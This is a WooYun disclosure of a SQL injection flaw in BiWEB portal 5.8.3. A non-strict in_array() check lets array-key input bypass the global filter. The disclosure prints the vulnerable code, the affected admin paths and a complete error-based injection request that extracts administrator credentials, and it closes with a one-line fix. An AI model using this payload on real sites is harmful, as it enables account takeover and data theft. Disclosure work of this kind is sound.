当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-084430

漏洞标题：BiWEB最新门户版注入漏洞打包（证明in_array使用不当的危害）

相关厂商：BiWEB

漏洞作者： 路人甲

提交时间：2014-11-23 22:18

修复时间：2015-02-21 22:20

公开时间：2015-02-21 22:20

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：10

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-23： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-02-21： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

BiWEB最新门户版注入漏洞打包（证明in_array使用不当的危害）

详细说明：

在wooyun上看到了有人把biweb的shell拿到了： WooYun: BIWEB门户版Getwebshell漏洞 ，也有人提了其他漏洞，我也来找找它的漏洞吧。去官网下BiWEB门户版最新的5.8.3来看看。
BiWEB在全局过滤时in_array()使用不当，造成全局过滤可以绕过。
先来看看BiWEB是怎么处理防注入的。首先BiWEB对用户输入进行了全局过滤，过滤的方法在/config/filtrate.inc.php中

<?php
//过滤GET或POST的值，去除两端空格和转义符号
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
	check::filtrateData($_POST,$arrGPdoDB['htmlspecialchars']);
}elseif($_SERVER['REQUEST_METHOD'] == 'GET'){
	check::filtrateData($_GET,$arrGPdoDB['htmlspecialchars']);
}
?>


然后我们去看看filtrateData(),在/web_common5.8/check.class.php中

static function filtrateData(&$ParamValue,$arrHtml){
		if (is_array($ParamValue)){
			foreach ($ParamValue as $key=>$value){
				if(is_array($value)){
					check::filtrateData($value,$arrHtml);
				}else{
					if(v === 'v' || v === '' || strpos(p,v)) exit;
					if($key === 'v') {
						echo v;exit;
					}
					if(count($arrHtml)){
						if(in_array($key,$arrHtml)) $ParamValue[$key] = trim($value);
						else $ParamValue[$key] = htmlspecialchars(trim($value), ENT_QUOTES);
					}else $ParamValue[$key] = htmlspecialchars(trim($value), ENT_QUOTES);
				}
			}
		}else{
			$ParamValue = trim($ParamValue);
		}
	}


可以看到，filtrateData()中有这么一句：if(in_array($key,$arrHtml)) $ParamValue[$key] = trim($value)，其中$arrHtml为$arrGPdoDB['htmlspecialchars'] = array('intro','summary','tag')，也就是说当$key是'intro','summary','tag'中的之一时，就不进行htmlspecialchars编码，也就可以绕过全局过滤了。问题在这里，如果$key等于0时，in_array($key,$arrHtml)将返回ture，也就不进行编码！
通过POST提交一个数组，而数组的key是0，1，2...，如通过POST提交一个名为test的数组，test[]=injection_code&test[]=2，这样就可以利用上面代码中in_array()使用不当造成的注入了。
BiWEB这种漏洞有不少，这里列几个出来

/ask/adminu/index.php
/company/adminu/index.php
/exhibition/adminu/index.php
/job/adminu/index.php
/links/adminu/index.php
/news/adminu/index.php
/product/adminu/index.php
/trade/adminu/index.php
/video/adminu/index.php


这里以/job/adminu/index.php为例进行证明

无关代码
if(isset($_GET['action'])){
	if($_GET['action']=='search') {
		// 构造搜索条件和翻页参数
		$arrLink[] = 'action=search';
		if (!empty($_GET['title'])) {
			$strKeywords = strval(urldecode($_GET['title']));
			if($strKeywords[0] == '/'){
				//精确查询ID
				$strKeywords = substr($strKeywords,1);
				if(is_numeric($strKeywords)) $arrWhere[] = "id = '" . $strKeywords . "'";
			}else{
				$arrWhere[] = "tag LIKE '%" . $_GET['title'] . "%'";
			}
			$arrLink[] = 'title=' . $_GET['title'];
		}
		if ($_GET['pass'] == '1' || $_GET['pass'] == '0') {
			$arrWhere[] = "pass='".$_GET['pass']."'";
			$arrLink[] = 'pass=' . $_GET['pass'];
		}
		if (!empty($_GET['type_id'])) {
			$intTypeID = intval($_GET['type_id']);
			$arrWhere[] = "type_id='".$intTypeID."' or type_roue_id like '%:$intTypeID:%'";
			$arrLink[] = 'type_id='.$intTypeID;
		}
	} else {
		$objWebInit->doInfoAction($_GET['action'],$_POST['select']);
	}
}
无关代码


当$_GET['action']为'moveup'时，则执行这条语句$objWebInit->doInfoAction($_GET['action'],$_POST['select'])，我们再去看看doInfoAction()， 在/web_common5.8/php_common.php中

function doInfoAction($strAction=null,$arrData=null,$arrFile=array('photo')){
		switch ($strAction){
			case 'del':
				foreach ($arrData as $key=>$val){
					$this->deleteInfo($val,$arrFile);
				}
				break;
			case 'delpic':
				foreach ($arrData as $key=>$val){
					$this->deleteInfoPic($val,$arrFile);
				}
				break;
			case 'moveup':
				foreach ($arrData as $key=>$val){
					$this->moveupInfo($val);
				}
				break;
			case 'check':
				foreach ($arrData as $key=>$val){
					$this->passInfo($val,1);
				}
				break;
			case 'uncheck':
				foreach ($arrData as $key=>$val){
					$this->passInfo($val,0);
				}
				break;
			case 'settop':
				foreach ($arrData as $key=>$val){
					$this->topInfo($val,1);
				}
				break;
			case 'unsettop':
				foreach ($arrData as $key=>$val){
					$this->topInfo($val,0);
				}
				break;
			case 'setrecommend':
				foreach ($arrData as $key=>$val){
					$this->recommendInfo($val,1);
				}
				break;
			case 'unsetrecommend':
				foreach ($arrData as $key=>$val){
					$this->recommendInfo($val,0);
				}
				break;
		}
		return true;
	}


再去看看相同文件中的moveupInfo

function moveupInfo($intInfoID){
		$arrData['submit_date'] = date('Y-m-d H:i:s');
		$strWhere = " WHERE `id` = $intInfoID";
		return $this->updateDataG($this->tablename2,$arrData,$strWhere);
	}


可以看到传入的值直接作为id带入了SQL语句，造成了注入。（这里只是拿这个例子来说明in_array()使用不当可以引入单引号，当然这个注入点可以直接用数字型的注入方法注入，可不使用单引号）
单引号这样引入

引入单引号副本.jpg


成功注入，Payload如下

POST /job/adminu/index.php?action=moveup HTTP/1.1
Host: 192.168.0.107
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-cn;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107/job/adminu/index.php
Cookie: AJSTAT_ok_times=8; bdshare_firstime=1414502402741; PHPSESSID=fd9mb9gjsot1f9hkrkjttsc954
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 213
select%5B%5D= 1 or  (select 1 from (select count(*),concat(0x23,(select concat(user_name,0x23,password,0x23)from biweb_user limit 0,1),floor(rand(0)*2))x from  information_schema.tables group by x)a)&select%5B%5D=


注入成功，管理员的用户名和密码

注入成功副本.jpg

漏洞证明：

见 详细说明

修复方案：

in_array ($key,$array,true)

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝